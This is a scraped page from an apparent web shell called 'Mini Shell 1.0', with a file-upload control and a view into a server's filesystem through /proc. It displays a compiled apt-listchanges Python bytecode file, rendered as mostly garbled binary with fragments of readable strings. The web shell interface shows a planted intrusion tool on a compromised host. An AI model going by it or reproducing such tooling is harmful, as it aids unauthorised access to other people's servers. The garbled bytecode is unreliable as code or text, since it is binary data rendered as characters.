HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1784574/task/1784574/root/usr/share/apt-listchanges/__pycache__/
Upload File :
Current File : //proc/1784574/task/1784574/root/usr/share/apt-listchanges/__pycache__/ALCApt.cpython-311.pyc
�

Dc``���f�ddlZddlZddlmZd�Zd�ZGd�de��ZGd�de��Z	dS)	�N)�_c�.�|���dvS)N)�1�yes�true�with�on�enable)�lower��values �$/usr/share/apt-listchanges/ALCApt.py�_parse_apt_boolrs���;�;�=�=�J�J�J�c�D�	t|��S#t$rYdSwxYw)Nr)�int�	Exceptionrs r�_parse_apt_intr$s5����5�z�z��������q�q����s��
�c��eZdZdS)�AptPipelineErrorN)�__name__�
__module__�__qualname__�rrrr,s�������Drrc�<��eZdZ�fd�Zd�Zd�Zd�Zd�Zd�Z�xZ	S)�AptPipelinec�V��t�����||_dS)N)�super�__init__�_config)�self�config�	__class__s  �rrzAptPipeline.__init__0s$���
������������rc���|jjr!tjtd����|���5}|�|��|�|��|�|��}ddd��n#1swxYwY|jjrQtjtd����|D]}tjd|z���tjd��|S)NzAPT pipeline messages:zPackages list:�	%s�)r �debug�ALCLogr�_open_apt_fd�
_read_version�
_read_options�_read_packages)r!�fd�debs�ds    r�readzAptPipeline.read4s*���<��	6��L��3�4�4�5�5�5�
�
�
�
 �
 �	+�B����r�"�"�"����r�"�"�"��&�&�r�*�*�D�	+�	+�	+�	+�	+�	+�	+�	+�	+�	+�	+����	+�	+�	+�	+�
�<��	��L��+�,�,�-�-�-��
)�
)����V�a�Z�(�(�(�(��L������s�AB�B�Bc��dtjvrttd�����	t	tjd��}n/#t
$r"}ttd����|�d}~wwxYw|jjr$tjtd��|z��|dkr"tj	td����n"|dkrttd�����	tj
|d	��S#t
$r5}ttd
��|t|��d�z��|�d}~wwxYw)N�APT_HOOK_INFO_FDz{APT_HOOK_INFO_FD environment variable is not defined
(is Dpkg::Tools::Options::/usr/bin/apt-listchanges::InfoFD set to 20?)zDInvalid (non-numeric) value of APT_HOOK_INFO_FD environment variablez7Will read apt pipeline messages from file descriptor %drz�Incorrect value (0) of APT_HOOK_INFO_FD environment variable.
If the warning persists after restart of the package manager (e.g. aptitude),
please check if the /etc/apt/apt.conf.d/20listchanges file was properly updated.�z�APT_HOOK_INFO_FD environment variable is incorrectly defined
(Dpkg::Tools::Options::/usr/bin/apt-listchanges::InfoFD should be greater than 2).�rtz3Cannot read from file descriptor %(fd)d: %(errmsg)s)r-�errmsg)�os�environrrrrr r'r(�warning�fdopen�str)r!�apt_hook_info_fd_val�exs   rr)zAptPipeline._open_apt_fdDs����R�Z�/�/�"�1�&]�$^�$^�_�_�
_�	G�#&�r�z�2D�'E�#F�#F� � ���	G�	G�	G�"�1�&=�$>�$>�?�?�DF�
G�����	G�����<��	n��L��T�U�U�Xl�l�m�m�m��1�$�$��N�1�p�q�q�
r�
r�
r�
r�"�A�
%�
%�"�1�&i�$j�$j�k�k�
k�	^��9�1�4�8�8�8���	^�	^�	^�"�1�%Z�#[�#[�+?�3�r�7�7�$T�$T�$U�V�V�[]�
^�����	^���s/�A�
A8�A3�3A8�6D�
E
�0E�E
c���|������}|dkrttd�����|jjrt
jd|z��dSdS)Nz	VERSION 2zqWrong or missing VERSION from apt pipeline
(is Dpkg::Tools::Options::/usr/bin/apt-listchanges::Version set to 2?)r%)�readline�rstriprrr r'r()r!r-�versions   rr*zAptPipeline._read_version`s����+�+�-�-�&�&�(�(���k�!�!�"�1�&Y�$Z�$Z�[�[�
[��<��	+��L��'�)�*�*�*�*�*�	+�	+rc�D�	|������}|jjrt	jd|z��|sdS|jjsj|�d��rUt|td��d���r1d|j_	td|jj��|j_n[|�d��rFtt|td��d���|jj��|j_�� )NTr%zAPT::Get::Assume-Yes=F�zquiet=)
r>r?r r'r(�ignore_apt_assume�
startswithr�len�confirm�max�quietr)r!r-�lines   rr+zAptPipeline._read_optionshs��	c��;�;�=�=�'�'�)�)�D��|�!�
,���V�d�]�+�+�+��
����L�2�
c��/�/�"9�:�:�
c�!�$�s�+B�'C�'C�'D�'D�"E�F�F�
c�(-���$�%(��D�L�,>�%?�%?���"�"�����*�*�
c�%(���S��]�]�^�^�8L�)M�)M�t�|�Oa�%b�%b���"�	crc�p�i}g}g}d}|���D]�}|���}|jjrt	jd|z��|sno|�dd��\}}}	}
}|	dkr�`|dks|dkr|�|����|dkrd}|d	kr|�|����|||<��|sgS|D]	}||vr||=�
g}
|D]$}||vr|
�||��||=�%|
�t|�	������|
S)
NFr%��<z
**REMOVE**z	**ERROR**�-Tz
**CONFIGURE**)
�	readlinesr?r r'r(�split�append�extend�sorted�values)r!r-�	filenames�toconfig�toremove�
hasupgrade�pkgline�pkgname�
oldversion�compare�
newversion�filename�pkg�ordered_filenamess              rr,zAptPipeline._read_packagesys����	������
��|�|�~�~�	.�	.�G��n�n�&�&�G��|�!�
/���V�g�-�.�.�.��
���CJ�=�=�QU�WX�CY�CY�@�W�j�'�:�x��#�~�~���<�'�'�8�{�+B�+B�����(�(�(��
�S� � �!�
��?�*�*�����(�(�(�(�%-�	�'�"�"��	��I��	#�	#�C��i����c�N�����	#�	#�C��i���!�(�(��3��8�8�8��c�N��� � ��	�(8�(8�(:�(:�!;�!;�<�<�<� � r)
rrrrr0r)r*r+r,�
__classcell__)r#s@rrr/s���������������� ^�^�^�8+�+�+�c�c�c�";!�;!�;!�;!�;!�;!�;!rr)
r6r(�ALChacksrrrrr�objectrrrr�<module>rcs���4
�	�	�	�
�
�
�
�������K�K�K�
���	�	�	�	�	�y�	�	�	�E!�E!�E!�E!�E!�&�E!�E!�E!�E!�E!r